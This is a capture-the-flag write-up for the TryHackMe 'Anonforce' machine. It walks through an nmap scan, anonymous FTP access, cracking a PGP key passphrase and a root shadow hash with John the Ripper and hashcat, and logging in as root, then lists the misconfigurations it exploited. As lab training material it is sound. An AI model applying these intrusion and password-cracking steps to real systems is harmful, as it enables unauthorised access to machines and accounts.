

Anonforce

CTF - TRYHACKME

CAIO DE GODOY ARAÚJO

Route to finish it:

First of all, I only had the target IP address without any additional context.

I started by performing a port scan using:

```
nmap -sC -sV
```

The scan revealed that ports 21 (FTP) and 22 (SSH) were open.

The FTP service was running vsftpd 3.0.3.

More importantly, Nmap indicated that anonymous login was allowed.

```
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x  2 0      0      4096 Aug 11 2019 bin
| drwxr-xr-x  3 0      0      4096 Aug 11 2019 boot
| drwxr-xr-x 17 0      0      3700 Mar 08 09:54 dev
| drwxr-xr-x 85 0      0      4096 Aug 13 2019 etc
| drwxr-xr-x  3 0      0      4096 Aug 11 2019 home
| lrwxrwxrwx  1 0      0          33 Aug 11 2019 initrd.img → boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx  1 0      0          33 Aug 11 2019 initrd.img.old → boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x 19 0      0      4096 Aug 11 2019 lib
| drwxr-xr-x  2 0      0      4096 Aug 11 2019 lib64
| drwx----- 2 0      0     16384 Aug 11 2019 lost+found
| drwxr-xr-x  4 0      0      4096 Aug 11 2019 media
| drwxr-xr-x  2 0      0      4096 Feb 26 2019 mnt
| drwxrwxrwx  2 1000   1000    4096 Aug 11 2019 notread [NSE: writeable]
| drwxr-xr-x  2 0      0      4096 Aug 11 2019 opt
| dr-xr-xr-x 90 0      0          0 Mar 08 09:54 proc
| drwx----- 4 0      0      4096 Mar 08 11:47 root
| drwxr-xr-x 18 0      0          560 Mar 08 11:38 run
| drwxr-xr-x  2 0      0     12288 Aug 11 2019 sbin
| drwxr-xr-x  3 0      0      4096 Aug 11 2019 srv
| dr-xr-xr-x 13 0      0          0 Mar 08 09:54 sys
| Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
```

Using the username anonymous without a password, it was possible to access the FTP server.

After browsing the available directories, one directory caught my attention:

notread

Inside this directory, two interesting files were found: private.asc and backup.pgp

Both files were downloaded for further analysis.

The `private.asc` file appeared to be a PGP private key, while `backup.pgpgp` seemed to be an encrypted backup.

While exploring the system structure, I discovered a user named **melodias** inside the `/home` directory.

Inside this melodias's directory, the first flag was found in the file:

`user.txt`

```
➤ ftp 10.65.191.200
Connected to 10.65.191.200.
220 (vsFTPd 3.0.3)
Name (10.65.191.200:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd home
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||47322|)
150 Here comes the directory listing.
drwxr-xr-x  4 1000  1000   4096 Aug 11  2019 melodias
226 Directory send OK.
ftp> cd melodias
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||64761|)
150 Here comes the directory listing.
-rw-rw-r--  1 1000  1000    33 Aug 11  2019 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||53429|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*****| 33  397.85 KiB/s   00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.23 KiB/s)
ftp> exit
221 Goodbye.
```

With the user flag obtained, the next goal was to gain root access.

The file `private.asc` required a passphrase in order to be imported.

To extract the hash from the PGP key, I used:

```
gpg2john private.asc > pgp.hash
```

Then I attempted to crack it using John the Ripper which revealed the passphrase:

`xbox360`

```
➤ john pgp.hash --wordlist=../../usr/share/wordlists/rockyou.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xbox360 (anonforce)
1g 0:00:00:00 DONE (2026-03-08 15:23) 1.098g/s 1024p/s 1024c/s 1024C/s xbox360..madalina
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Using this passphrase, the private key could be successfully imported.

After importing the key, it was possible to decrypt the backup file:

```
gpg --decrypt backup.pgpgp
```

Inside the decrypted backup, a root password hash was found. This hash used the SHA-512 algorithm.

```
gpg --decrypt backup.pgp
gpg: encrypted with elg512 key, ID AA6268D1E6612967, created 2019-08-12
      "anonforce <melodias@anonforce.nsa>"
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
```

Using Hashcat, the password was cracked:

hikari

```
$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:hikari
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1800 (sha512crypt $6$, SHA512 (Unix))
```

Using the recovered credentials, it was possible to connect via SSH:

```
ssh <IP>
```

After authentication with the password hikari, root access was obtained.

Finally, the last flag could be read from:

```
/root/root.txt
```

Vulnerabilities Identified

Anonymous FTP Access

The FTP server allowed anonymous authentication, exposing sensitive files.

Sensitive Files Stored in Public Directory

Critical files (`private.asc` and `backup.pgp`) were stored in an accessible directory.

Weak Passphrase

The PGP private key used a weak passphrase (`xbox360`), which could be easily cracked with a common wordlist.

Weak Root Password

The root password hash was also weak and could be cracked using standard password lists.

Conclusion

This machine demonstrated how multiple small misconfigurations can lead to a full system compromise:

Anonymous FTP access, Exposure of sensitive files, Weak cryptographic passphrases, Weak root credentials

By chaining these vulnerabilities, it was possible to escalate from initial access to full root compromise.